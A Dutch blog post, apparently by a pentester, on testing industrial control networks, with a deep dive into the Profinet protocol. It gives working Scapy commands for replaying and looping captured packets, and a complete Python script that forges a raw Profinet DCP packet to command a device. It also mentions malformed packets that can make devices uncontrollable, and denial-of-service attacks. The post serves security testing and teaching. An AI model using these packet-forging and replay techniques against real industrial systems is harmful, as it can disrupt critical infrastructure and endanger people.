Werken met ISC/SCADA Protocollen en Pakketten + Profinet Deep Dive
Het komt regelmatig voor dat er pentesten of red-team engagements gevraagd worden waarbij het einddoel niet “data” is zoals in een kantooromgeving, maar de controle is over ICS/SCADA apparatuur. Dit soort testen vormt een compleet andere aanpak dan bij een “gewone” test welke zich focussed op de kantoorautomatisering. Denk hierbij aan het continue evalueren van risico’s (zeker in een productieomgeving), het tragere tempo van testen, de aanwezigheid onbekende en legacy hardware, het gebruik van andere tools. Maar misschien het meest verschillend is het verkeer welke op deze netwerken gegenereerd wordt. In deze post dus meer informatie over het werken met deze ICS/SCADA protocollen en pakketten met een kleine deep-dive in het Profinet protocol.
Laten we het eerst eens hebben over ICS/SCADA. Ik heb het al vaker genoemd in verschillende blogberichten, maar ik kan me voorstellen dat dit nog wat context nodig heeft.
ICS = Industrial Control Systems
SCADA = Supervisory Control and Data Acquisition
De systemen die onder deze termen gecategoriseerd worden vinden we terug binnen industriële omgevingen. Er zijn wat overlappende termen welke vaak dezelfde apparatuur beschrijven zoals IA (Industrial Automation), PA (Process Automation), OT (Operational Technology) en DCS (Distributed Control Systems). We hebben het dus over systemen welke grote (deels) mechanische objecten besturen en verantwoordelijk zijn voor het beheren van deze industriële processen. Denk hierbij aan het besturen van o.a. bruggen, sluizen, keringen etc. ICS/SCADA is dus absoluut iets anders dan IoT (Internet of Things) en AIoT (Artificial Intelligence of Things). Maar zeker met die eerste zijn er wel overeenkomsten.
Deze apparatuur verschilt van “normale” apparatuur o.a. op het gebied dat ze zeer robuust zijn uitgevoerd en vaak kunnen opereren in (voor mensen) minder ideale/ruige omstandigheden zoals hele hoge of lage temperaturen, magnetische straling en in omgevingen met een hoge vochtigheidsgraad. Daarnaast zijn ze gebouwd op duurzaamheid en is de afschrijf / vervang periode soms veel langer dan 10 jaar. Er zijn nu in Nederland nog ICS/SCADA systemen operationeel welke aangezet zijn in de jaren 70 en 80. Een ander belangrijk verschil als pentester is dat je heel goed op de hoogte moet zijn over “hoe” je in dit soort omgevingen je test uit gaat voeren. Apparatuur kan gevoelig zijn voor het ontvangen van veel (scan) verkeer of het ontvangen van malformed pakketjes. Daarnaast is het vaak zo dat deze apparatuur belangrijke en levensbedreigende onderdelen beheerd zoals delen van de landelijke infrastructuur. Een storing kan rampzalige gevolgen hebben. Een ander punt waar we als tester rekening mee moeten houden is de manier hoe deze apparaten met elkaar praten. In sommige gevallen wordt TCP & TLS gebruikt. Maar deze apparatuur praat heel vaak over andere protocollen met elkaar. Denk aan Modbus, DNP3, HART, Profibus en Profinet, Zigbee en S7. Er zijn vele tientallen unieke protocollen welke actief zijn op verschillende (OSI) lagen van het netwerk welke we wel terugvinden binnen industriële omgevingen en vrijwel nooit in standaard kantooromgevingen. En wanneer je als pentester te maken krijgt met dit soort protocollen is specifieke kennis geen must maar een eis!
Laten we eens wat beter gaan kijken naar het verkeer dat gegenereerd wordt door deze protocollen. In de meeste gevallen zijn ze actief op laag nummer 7, de applicatielaag en gebruiken ze default Ethernet en IP als transportlaag.
Elk protocol kent zijn eigen indeling en eigenschappen. Gelukkig heeft Wireshark veel “dissectors” welke de meeste industriële protocollen “begrijpen” en kunnen vertalen zodat we al deze pakket eigenschappen kunnen bekijken en begrijpen.
WireShark
We kennen waarschijnlijk allemaal wel “Wireshark”, het Zwitserse zakmes voor het ontleden van netwerkverkeer. We kunnen met Wireshark live verkeer inzien en analyseren en we kunnen reeds “gecaptured” verkeer inlezen en op dezelfde manier analyseren. Wireshark verkrijgt ieder pakket in binaire vorm, de manier zoals de netwerkdata “over de lijn” gaat en maakt hier voor de gebruiker “inzichtelijke en begrijpbare” data van. Dit doet Wireshark d.m.v. een zogenaamde “dissector” welke bepaalde bytestreams herkennen, interpreteren en op die manier het verkeer onderverdelen in de gedetecteerde pakket-eigenschappen. Dissectors werken met een dissector-table voor de herkenning. Er bestaan ook post-dissectors en heuristic dissectors voor het aanvullen van extra pakketdata en het automatisch herkennen van pakket-data. Zonder al te diep in te gaan op dissectors is het belangrijk om te weten dat Wireshark een ontzettend belangrijke tool is voor de analyse omdat deze de kennis van veel protocollen al in-huis heeft.
Als “pentester” is analyse zeer belangrijk! Wat gebeurt er op het netwerk? Wat is normaal gedrag? Welke data wordt er verstuurd? Wordt er encryptie gebruikt? etc.
Maar naast deze analyse welke we kunnen uitvoeren in WireShark willen we in de meeste gevallen testen en aantonen dat bepaalde protocollen of verkeersstromen niet veilig zijn. In dat geval willen we het netwerkverkeer beïnvloeden. We willen b.v. bepaalde pakketten opnieuw versturen (replayen), als man-in-the-middle fungeren tussen bepaalde ICS/SCADA devices of het netwerkverkeer beïnvloeden / aanpassen.
Voor elke wens zijn er verschillende toepassingen welke we kunnen gebruiken, maar in deze post wil ik me beperken tot het krachtige Scapy.
Scapy
Scapy is een Python-based network packet manipulation tool welke pakketten kan aanpassen, verzenden en replayen. Scapy is een ontzettend waardevolle tool voor het replayen van data of voor het versturen van specifieke pakketten. In de praktijk zijn dit vaak netwerkpakketten welke “normaal gedrag” imiteren, of welke “malformed” zijn om te kijken hoe de ontvangende apparatuur hierop reageert. En hoewel Scapy heel veel pakketten herkent heeft deze moeite met het interpreteren van de meeste ICS/SCADA pakketten. Deze kennis (of dissectors) zijn niet standaard aanwezig. Dit bemoeilijkt het gebruik van tools als Scapy in een industriële omgeving. Dit toont heel goed aan waarom een pentest of red-team engagement in een industriële omgeving moeilijker is en op alle vlakken specifieke kennis vereist in vergelijking met een KA omgeving.
Laten we eens gaan werken met een ICS/SCADA netwerkpakket in combinatie met Scapy.
Pakket Analyse
Stel je voor, je bevind je in een netwerk met Siemens apparatuur. In dat geval kun je veel soorten protocollen tegenkomen. TCP, HTTP, TLS, S7Comm, Profinet, COTP, Profibus en zelfs Modbus. We kunnen deze pakketten capturen en analyseren met Wireshark. Wireshark laat mooi zien welke frames het pakket heeft, wat de benaming is en welke data binnen deze frames verstuurd wordt. Het is vervolgens aan jou om hier “chocola” van te maken. Je moet weten wat voor pakket het is, wanneer het pakket gegenereerd wordt en wat het doel is. Wanneer het pakket gegenereerd wordt kun je herleiden aan de tijdstippen en momenten dat dit pakket gegenereerd wordt in combinatie met de aanwezige apparatuur. In sommige gevallen kun je achterhalen welk pakket bij welke actie hoort. Real-time data? Statistics? Operational data? Handshakes? etc. Uiteraard kun je vaak ook prima herleiden tussen welke devices dit verkeer plaats vindt. Als blijkt dat het netwerkverkeer wellicht onveilig is en getest moet worden dan vindt de volgende fase plaats. Nu is het zaak “iets” met deze pakketten te doen. Wat opvalt is dat je binnen industriële omgevingen veel onversleuteld verkeer ziet. Nieuwere modellen en installaties hebben vaak wel encryptie in-place maar over het algemeen zul je zien dat encryptie nog weinig gebruikt wordt. En dit maakt het natuurlijk veel makkelijker om het verkeer te bekijken, interpreteren en gebruiken. Vaak is er geen Man-in-the-Middle methode nodig welke in de meeste gevallen niet opportuun is wanneer er met real-time data gewerkt wordt. Er zijn legio mogelijke test-scenario’s welke je op dit niveau zou willen uitvoeren. Waaronder:
1. Achterhalen van data
2. Modificeren van data
3. Het replayen van instructies
4. Het versturen van grote aantallen pakketjes (brute-force)
Aanvalsscenario
Wanneer we ervan uitgaan dat we werken met onversleutelde data dan is het achterhalen van data (optie 1) relatief eenvoudig. Wireshark helpt ons om de data uit de juiste frames te halen. We kunnen deze eventueel decoden en gebruiken. Voor optie 2, 3 en 4 is Wireshark geen afdoende hulpmiddel en in deze gevallen kunnen we terugvallen op Scapy.
Optie 3 is relatief simpel. We capturen de networkstream, slaan deze op als een PCAP en gebruiken Scapy om de PCAP opnieuw te versturen. Mocht je slechts bepaalde pakketten uit de PCAP willen her-versturen dan kun je deze met “Editcap” of soortgelijke tool eruit filteren en opslaan in een nieuwe PCAP file. Bijvoorbeeld:
editcap -r rawcapture.pcap filteredcapture.pcap 24-48 |
Om vervolgens de PCAP opnieuw af te spelen starten we Scapy als “Administrator” of als “SuperUser / sudo” omdat we deze elevated rights nodig hebben om pakketten over de NIC te versturen.
sudo scapy |
En vervolgens kunnen we met de “sendp” functie de PCAP pakketten opnieuw versturen:
sendp(rdpcap("/home/kali/Desktop/filteredcapture.pcap")) |
Uiteraard kunnen we ook de pakketten uit de PCAP inlezen in een variabele en vervolgens deze pakketten verzenden. Het voordeel hiervan is dat je nog meer kunt doen met deze pakketten zoals de opbouw van deze pakketten tonen met “show”:
pkts=rdpcap("/home/kali/Desktop/filteredcapture.pcap") for pkt in pkts: pkt.show() send(pkt) |
SCREENSHOT
In dit voorbeeld gebruiken we de Scapy interpreter. Maar de kracht van Scapy zit hem in het feit dat we deze kunnen gebruiken binnen onze eigen Python scripts. Op die manier kunnen we b.v. optie 4 invullen. We capturen (of creëren) 1 of meerdere pakketten en deze blijven we her-versturen in een loop, desnoods middels meerdere threads:
#! /usr/bin/env python3 from scapy.all import * pkts=rdpcap("/home/kali/Desktop/filteredcapture.pcap") for pkt in pkts: pkt.show() send(pkt, loop=1) |
Maar het echte werk vindt plaats wanneer je aan de slag wilt met scenario 2, het modificeren (en versturen) van data. Om dit te doen moet je kennis opdoen van het protocol, de opbouw van de pakketten en moet je exact weten wat je wilt doen. Je kunt jezelf hierbij de volgende vrage n stellen:
1. Wat wil je bereiken met je gemodificeerde pakketten?
2. Welke waardes binnen het pakket zijn verantwoordelijk voor deze wens?
3. Hoe moeten deze waardes aangepast worden om het gewenste effect te bereiken?
4. Zijn er beveiligingen in-place die dit proces bemoeilijken en zo ja, kunnen we die omzeilen?
Het namaken van een pakket
Om specifieke data in deze pakketten te veranderen moet je weten waar deze data zich bevindt en waarin deze veranderd moet worden. Het is in dat geval belangrijk om controle te hebben over elke frame in het pakket.
Laten we eens kijken naar de output van Scapy:
SCREENSHOT
We zien hier dat Scapy, omdat we hier het “show” commando gebruiken, netjes de opbouw en inhoud van het pakket uit de PCAP laat zien. Wat we echter zien aan het einde is “raw” data. Deze data wordt getoond in “hexadecimale” waardes welke de bytes representeren. We kunnen deze hexadecimale waarde mappen in Wireshark en wanneer we dat doen zul je zien dat deze data, data is welke niet door Scapy geïnterpreteerd kon worden en dus uiteindelijk specifieke protocol-data is met de data welke we willen modificeren. In dit geval is dit Profinet data.
Profinet
Even een klein stukje geschiedenis / inhoud over het Profinet protocol.
Profinet is een samenvoeging van “Process Field Network” en is een industriële technische standaard voor datacommunicatie via industrieel Ethernet. De Profinet standaard is ontworpen voor het verzamelen van gegevens en het besturen van apparatuur welke zich bevind in industriële omgevingen. Omdat Profinet direct werkt op OSI laag 1 en 2 (als transportlaag) maakt Profinet het mogelijk om gegevens snel over te brengen. Dit is vaak essentieel bij real-time toepassingen zoals deze veel te vinden zijn binnen de industriële omgevingen. De Profinet standaard wordt onderhouden en ondersteund door Profibus en Profinet International. Profinet zelf werkt op de applicatie layer (nummer 7). De enige layers welke Profinet gebruikt zijn layer 1,2 en 7. Dit is overigens alleen zo wanneer we het hebben over het versturen van real-time data. Wanneer Profinet gebruikt wordt voor configuratie en diagnostische doeleinden wordt wel layer 3 tot 6 gebruikt (o.a. het IP / UDP en RPC protocol). Deze handelingen zijn vaak wat minder tijd-kritisch. Profinet is een standaard gebaseerd op industrieel Ethernet maar werkt ook prima op traditioneel (IEEE802.3) Ethernet. Maar wat is dan industrieel Ethernet? Ethernet houdt standaard geen rekening met de omgeving. Industrieel Ethernet doet dit wel. Binnen industriële omgevingen komen ruige omstandigheden voor zoals elektromagnetische straling, vibraties, oliedampen etc. Digitaal werkt industrieel Ethernet exact hetzelfde maar de componenten welke op laag 0 gebruikt worden zijn ruggedized en bestand tegen deze extreme maatregelen. Voor ons is het digitale aspect het belangrijkste.
Laten we eens kijken waar een Profinet-based netwerk uit bestaat. Een minimaal Profinet IO-System bestaat uit minimaal één IO-Controller die één of meerdere IO-Devices aanstuurt. Daarnaast kunnen desgewenst één of meerdere IO-Supervisors tijdelijk worden ingeschakeld voor de engineering van de IO-Devices. De IO-Controller noemen we ook wel een “master” en het IO-Device noemen we een “slave”.
Als twee IO-Systemen zich in hetzelfde IP-netwerk bevinden, kunnen de IO-Controllers ook een ingangssignaal delen als gedeelde ingang, waarin ze leestoegang hebben tot dezelfde submodule in een IO-Device. Dit vereenvoudigt de combinatie van een PLC met een aparte veiligheidscontroller of motion control. Evenzo kan een volledig IO-Device worden gedeeld als een gedeeld apparaat, waarbij individuele submodules van een IO-Device worden toegewezen aan verschillende IO-Controllers. Elk apparaat met een Ethernet-interface kan tegelijkertijd de functionaliteit van een IO-Controller en een IO-Device vervullen.
Laten we met deze achtergrond eens wat beter kijken naar het Profinet data pakket.
Profinet Netwerk Protocol
In essentie kunnen met Profinet 3 soorten data uitwisselen:
>Real-Time Data
>Non Real-Time Data
>Isochronous Real-Time Data
Zoals je ziet en al uitgebreid aan bod is gekomen behoord Real-Time data snel te zijn. Dit betekend geen protocol overhead en dus de kleinste pakketten. Hiervoor gebruikt Profinet het RT (Real Time) channel. Alleen Ethernet en profinet. Non Real-Time data zoals diagnostische data is minder kritisch en gebruikt het NRT (Non Real Time) channel waarbij meer OSI lagen gebruikt worden en het verkeer dus ook op laag 3 gerouteerd kan worden omdat het voorzien is van een IP adres.
Dan hebben we ook nog Isochronous Real Time data welke het gelijknamige IRT channel gebruikt. Hoe uitgekleed het RT-kanaal ook is, het heeft nog steeds wat onvermijdelijke jitter door de transmissie via standaard Ethernet-switches. IRT elimineert die vertragingen door regels toe te voegen die worden gebruikt om Ethernet-verkeer te schakelen en door speciale regels voor PROFINET-verkeer te maken. Het voegt enkele uitbreidingen toe aan regulier IEEE 802.3 Ethernet om zoiets als een “HOV Lane” voor IRT-verkeer te implementeren. Technisch gezien verandert het een stochastisch CSMA-CD-netwerk (Carrier Sense Multiple Access – Collision Detection) in een deterministisch TDMA-netwerk (Time Division Multiple Access).
Laten we ons even beperken tot de basis en het meest gebruikte verkeer, namelijk het verkeer over het RT (Real-Time) channel.
Zoals je al zag in eerdere screenshots kunnen we Profinet verkeer capturen en analyseren met Wireshark. Wireshark “snapt” namelijk de opbouw van Profinet en kan ons dus inzicht geven in de waardes van de verschillende frames. Omdat Profinet voort bouwt op het Ethernet protocol wordt de Profinet data achter het Ethernet frame geplaatst. In essentie ziet dit er als volgt uit:
We kunnen dus exact de inhoud van het pakket analyseren en de waardes bekijken:
Nu we een voorbeeld hebben van een “Blink Screen” pakket dan kunnen we deze namaken met Scapy en nogmaals verzenden. Het voordeel hiervan is, dat dit real-time data is en er geen verificatie aan vooraf gaat en dat er ook geen versleuteling aanwezig is. Dat betekend dat we met 1 pakket een actie kunnen forceren. In Scapy hebben we geen Profinet dissector zoals we deze wel hebben voor IP en TCP. Maar deze kunnen we zelf op frame niveau maken. De data wordt namelijk RAW verstuurd achter het Ethernet frame. We kunnen dus zelf deze data opmaken en gewoon meesturen.
Een uitgebreide variant van dit voorbeeld is hier te vinden:
https://github.com/mrbaselier/ICS-Payload
De gebruikte Profinet frames zijn:
frameid serviceId serviceType xid reserved dcpdatalength block_option_control block_suboption_signal block_dcpblocklength block_blockqualifier block_signalvalue |
Deze data versturen we als RAW bytes mee voor de creatie van een valide Profinet pakket met als resultaat dat het scherm gaat knipperen. Check ook mijn YouTube kanaal (https://www.youtube.com/c/jarnobaselier) voor een live voorbeeld.
Creatie voor het totaal pakket is als volgt:
#! /usr/bin/env python from scapy.all import * import struct import binascii #Source / Destination variables source_mac = '8c:f3:19:03:e4:b3' destination_mac = '8c:f3:19:00:a6:de' def int_to_bytes_1(value): value = value.to_bytes(1, byteorder='big') #print(value) return value def int_to_bytes_2(value): value = value.to_bytes(2, byteorder='big') #print(value) return value profinet_frameid = int_to_bytes_2(65277) profinet_serviceId = int_to_bytes_1(4) profinet_serviceType = int_to_bytes_1(0) profinet_xid_1 = int_to_bytes_1(0) profinet_xid_2 = int_to_bytes_1(0) profinet_xid_3 = int_to_bytes_1(25) profinet_xid_4 = int_to_bytes_1(18) profinet_reserved = int_to_bytes_2(0) profinet_dcpdatalength = int_to_bytes_2(8) profinet_block_option_control = int_to_bytes_1(5) profinet_block_suboption_signal = int_to_bytes_1(3) profinet_block_dcpblocklength = int_to_bytes_2(4) profinet_block_blockqualifier = int_to_bytes_2(0) profinet_block_signalvalue_1 =int_to_bytes_1(1) profinet_block_signalvalue_2 =int_to_bytes_1(0) payload = profinet_frameid + profinet_serviceId + profinet_serviceType + profinet_xid_1 + profinet_xid_2 + profinet_xid_3 + profinet_xid_4 + profinet_reserved + profinet_dcpdatalength + profinet_block_option_control + profinet_block_suboption_signal + profinet_block_dcpblocklength + profinet_block_blockqualifier + profinet_block_signalvalue_1 + profinet_block_signalvalue_2 l1 = Ether(dst=destination_mac, src=source_mac, type=34962 ) lRaw = raw = Raw(load = payload) packet = l1 / lRaw packet.show2() sendp(packet) |
Op deze manier maken we dus onze eigen custom Profinet pakketten waarbij we elk segment kunnen beïnvloeden en het ontvangende device kunnen besturen. We kunnen op deze manier ook malformed pakketten maken om devices (tijdelijk) onbestuurbaar te maken. Ook dit is te zien op de video! Dit kun je natuurlijk pas doen wanneer je begrijpt wat elk segment betekend en welke rol deze vervult. Meer uitleg over de specifieke segmenten bevindt zich eveneens in het ICS Payload script (https://raw.githubusercontent.com/mrbaselier/ICS-Payload/main/custom-package.py)
Dus wanneer Profinet gebruikt wordt, en een aanvaller heeft toegang tot het netwerk dan heeft deze de mogelijkheid om het Profinet (en ieder ander legacy protocol) verkeer af te luisteren en met die informatie zijn eigen pakketten te maken voor zijn eigen doeleinden. Het afluisteren van data, het besturen van devices of het uitvoeren van een destructieve DOS aanval!